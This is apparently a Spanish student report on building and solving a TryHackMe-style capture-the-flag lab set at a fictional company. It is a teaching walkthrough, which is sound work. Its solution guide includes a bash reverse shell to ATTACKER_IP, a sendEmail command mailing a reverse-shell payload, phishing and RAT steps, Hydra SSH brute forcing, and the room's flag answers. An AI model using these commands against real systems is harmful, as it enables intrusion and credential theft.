

Operation Pegasus

Informe Final de Proyecto

Empresa: The Server Sharkers

Equipo de Pentesting:

Freddy Vegas,

Martín Forniel

Santiago Hernández

Fecha de Entrega: 05 de Mayo de 2025

Índice

1. Introducción
2. Resumen Ejecutivo
3. Proceso Creativo y Técnico
 - 3.1 Servicios Configurados y Versiones Instaladas
 - 3.2 Justificación de Selección
 - 3.3 Vulnerabilidades Aprovechadas
 - 3.4 Decisiones Técnicas Clave
 - 3.5 Dificultades Encontradas y Resolución
4. Esquema del Laberinto de Retos
 - 4.1 Recorrido Lógico (Flags)
 - 4.2 Pasos Secuenciales
5. Guía de Resolución
 - 5.1 Herramientas Necesarias
 - 5.2 Comandos Clave
 - 5.3 Errores Comunes y Soluciones
6. Preguntas de TryHackMe (Mapping)
7. Conclusión
8. Agradecimiento

Informe Final de Proyecto: Operation Pegasus

Parte 1: Resumen Ejecutivo

Nombre del Equipo: The Server Sharks

Miembros y Roles:

- **Freddy Vegas** — Líder de Proyecto y Coordinación de Pentesting.
- **Martín Fornieles** — Especialista OSINT y Phishing.
- **Santiago Hernández** — Ingeniero de Movilidad Lateral y Escalado de Privilegios.
- **Matín y Santiago** — Analista de Vulnerabilidades Técnicas.

Descripción General del Proyecto:

Operation Pegasus simula un ciberataque completo a la red interna de la compañía ficticia *The Server Sharks*, fabricante de prototipos de calzado volador “Cloud Walkers (CW)”.

Objetivo del Proyecto:

- Comprometer los sistemas de I+D y acceder a los planos secretos de CW.
- Evaluar la robustez de los controles técnicos y el factor humano en la seguridad.

Escenario Narrativo y Contexto:

Sharkers Industries está desarrollando tecnología de movilidad aérea cuando se detecta riesgo de espionaje industrial. Se aprovecha la adicción a las apuestas del empleado Manolo para introducir un malware, pivotar a través de la recepcionista Lucy y, finalmente, exfiltrar los planos críticos en el directorio del Director.

Parte 2: Proceso Creativo y Técnico

2.1 Servicios Configurados y Versiones Instaladas

- **Sistema Operativo:** Ubuntu Server 14.04.2 LTS
- **Servidor Web (theserversharkers.io)**
 - Apache/2.4.7 (Ubuntu 14.04.2) — compilado el 03 Abril 2019
 - PHP 5.5.9-1ubuntu4.29 con Zend OPcache v7.0.3
- **Postfix / Servicio de Correo**
 - Postfix 2.11.0-3ubuntu0.14.04
 - sendEmail v1.56 (Perl script)
- **VPN/IPSec:** configurada con parámetros por defecto, sin MFA
- **Cámaras CCTV:** RTSP sobre TLS 1.0 expuesto en puerto 554

2.2 Justificación de Selección

- **Apache 2.4 y PHP 5.5** representan entornos comunes en PYMEs, con configuraciones a menudo desactualizadas.
- **Postfix + Procmail** simulan un servidor de correo básico para campañas de phishing con adjuntos.
- **VPN sin MFA** destaca la debilidad de confiar únicamente en credenciales.
- **CCTV con TLS 1.0** ilustra riesgos de protocolos obsoletos (vulnerabilidad POODLE: CVE-2014-3566).

2.3 Vulnerabilidades Aprovechadas

1. **Ingeniería Social (Phishing):** envío de correo con enlace falso de apuestas para robar credenciales de Manolo.
2. **Troyano de Acceso Remoto (RAT):** implantación en la estación de Manolo sin privilegios administrativos.
3. **Port Knocking:** secuencia 1234-2345-3456 para abrir puertos ocultos.
4. **Explotación de POODLE** en TLS 1.0 para interceptar vídeo de las cámaras CCTV.

2.4 Decisiones Técnicas Clave

- **nmap --script vuln**: descubrimiento rápido de servicios y vulnerabilidades.
- **gobuster (dir /vhost)**: detección de directorios, subdominios y hosts virtuales.
- **curl -v**: inspección de encabezados HTTP, incluido Content-Length.
- **sendEmail**: automatización de envío de payloads maliciosos vía correo.

2.5 Dificultades Encontradas y Resolución

Desafío	Causa	Solución
Phishing bloqueado por filtros	Políticas de correo restrictivas	Modificar remitente, asunto y contenido del correo
RAT sin privilegios	Usuario limitado	Recopilar credenciales en post-it (cámara CCTV)
Cámara con TLS no actualizable	Hardware legado	Uso de ssllstrip para degradar a HTTP

Parte 3: Esquema del Laberinto de Retos

3.1 Recorrido Lógico (Flags)

1. **Flag1**: Acceso login Lucy (**flag1.txt** en escritorio).
2. **Flag2**: Directorio de Director (**flag2.txt** /home/paco/fag.txt.gpg).
3. **Flag3**: Archivo Empresa (**flag3.txt** /home/paco/Empresa/Proyecto).

3.2 Pasos Secuenciales

1. **OSINT**: Google Dork (**site:linkedin.com theserversharkers**).
2. **Phishing** con Gophish para clonar página de apuestas.
3. **exiftool** en imagen de Manolo para metadatos (cambio de paso).
4. **sendEmail** para enviar payload a Lucy (en vez de interceptar CCTV).

5. **Port Knocking** (`knock 10.10.134.99 1234 2345 3456`).
 6. **SSH** a Lucy (`ssh lucy@IP`).
 7. **Escalado de privilegios** con credenciales de admin.
 8. **Exfiltración** de planos confidenciales.
-

Parte 4: Guía de Resolución

4.1 Herramientas Necesarias

- `nmap`, `gobuster`, `curl`
- `exiftool`, `sendEmail`
- `bash`, `knock`, `ssh`, `sudo`, `nano`, `john`

4.2 Comandos Clave para capturar las flag.

#Osint

Google Dork site:linkedin.com theserversharker

Escaneo y descubrimiento

nmap -p 22,25,80 --script vuln 10.10.134.99

gobuster dir -u http://theserversharkers.io/ -w /usr/share/wordlists/dirb/small.txt \ -x php,html,txt,mp4 -t 30

Inspección HTTP

curl -v https://reobot.github.io/TheServerSharkers/

Metadatos de imagen

exiftool manolo1.webp

Envío de payload por correo

sendEmail -f prueba@kali.com -t vagrant@ubuntu.local -u "ReverseShell" -m "Ejecuta adjunto" -s 192.168.0.31 -o tls=no -a reverse_shell.sh

Shell reversa

bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1

Port Knocking

knock 10.10.134.99 1234 2345 3456

Exfiltración final

hydra ssh://paco@10.10.134.99/home/paco/Emresa/Proyecto/archivo.hash

```
john --wordlist=/ruta/diccionario.txt archivo.hash
```

4.3 Errores Comunes y Soluciones

Error	Causa	Solución
Phishing bloqueado	Filtros antispam	Ajustar remitente, asunto y mensaje
Knock sin respuesta	Orden/timing incorrecto	Verificar secuencia y añadir <code>sleep</code> entre knocks
Shell no interactiva	Sin TTY	<pre>python3 -c 'import pty; pty.spawn("/bin/bash")'</pre>
Gobuster sin hallazgos	Wordlist insuficiente	Ampliar diccionario o probar variantes de extensiones
SSH denegado	Credenciales incorrectas	Revisar credenciales obtenidas de la cámara y exiftool

Parte 5: Preguntas de TryHackMe (Mapping)

Pregunta	Comando Ejemplo
1. Puertos silenciosos: hacerlos hablar	<pre>nmap -p 22,25,80 10.10.134.99</pre>
2. Dork en LinkedIn	<pre>site:linkedin.com theserversharkers/</pre>
3. Sección Destacado: extraer enlace	Navegar a <pre>https://reobot.github.io/TheServerSharkers/carrera</pre>
4. Contenido oculto	Navegar a <pre>https://reobot.github.io/TheServerSharkers/</pre>
5. Content-Length HTTP	<pre>curl -v https://reobot.github.io/TheServerSharkers/</pre>
6. Metadatos con exiftool	<pre>exiftool manolo1.webp</pre>

7. Adjuntar payload con sendEmail	<code>sendEmail -f prueba@kali.com -t sharkers@localhost -u "ReverseShell" -m "... " -s IP -o tls=no -a reverse_shell.sh</code>
8. Shell interactiva	<code>bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1</code>
9. Port Knocking	<code>knock 10.10.134.99 1234 2345 3456</code>
10. Editar /etc/hosts	<code>sudo nano /etc/hosts</code>
11. Fuzzing de directorios (#1)	<code>gobuster dir -u http://theserversharkers.io/ -w /usr/share/wordlists/dirb/small.txt -x php,html,txt,mp4 -t 30</code>
12. Fuzzing de directorios (#2)	Igual a anterior
13. Usuario de 4 letras	<code>ssh paco@10.10.125.145, usuario paco</code>
14. Virtual Hosts	<code>gobuster vhost -u http://192.168.0.23 --domain theserversharkers.io -w document.txt --append-domain</code>
15. ¿Qué usuario? (whoami)	<code>whoami</code>
16. Servicios vulnerables con nmap script vuln	<code>nmap -p 22,25,80 --script vuln 10.10.141.128 --script-timeout 60s -vv</code>
17. ¿Cuántos puertos abiertos?	<code>nmap -p- 10.10.141.128</code> informar número
18. Vulnerabilidad POODLE	CVE-2014-3566 (POODLE)
19. Severidad CVE-2014-3566	8.6
20. DH key length	1024
21. Descifrado de Lucy (rot)	<code>`echo "oxfbyhjdv1234"</code>

22. Buscar rutas ocultas	<code>gobuster dir -u http://ab.theserversharkers.io/ -w small.txt -x php,html,txt,mp4 -t 30</code>
23. Flag de Lucy	<code>THM{jUoPPPK54647HJG12LHJH90khK}</code>
24. Fuerza bruta SSH con Hydra	<code>hydra -l paco -P passwords.txt ssh://10.10.125.145</code>
25. Segunda flag subnivel	<code>THM{FACIL_PERO_NO_ES_}</code>
26. Descifrar hash con John	<code>john --wordlist=/ruta/diccionario.txt archivo.hash</code>

Conclusión General:

Operation Pegasus demuestra la efectividad de un enfoque híbrido (social + técnico) y subraya la urgencia de una formación continua en ciberseguridad y refuerzo de controles técnicos para proteger la propiedad intelectual.

Agradecimientos

Un especial agradecimiento al profesor **Fernando Aguilar**, por su pasión contagiosa en ciberseguridad y hacking ético. Gracias por guiarnos entre firewalls y líneas de código, ¡y por aguantar nuestras preguntas (y memes) sin pestañear! Este informe está tan cargado de conocimientos tuyos como de nuestras ganas de aprender.

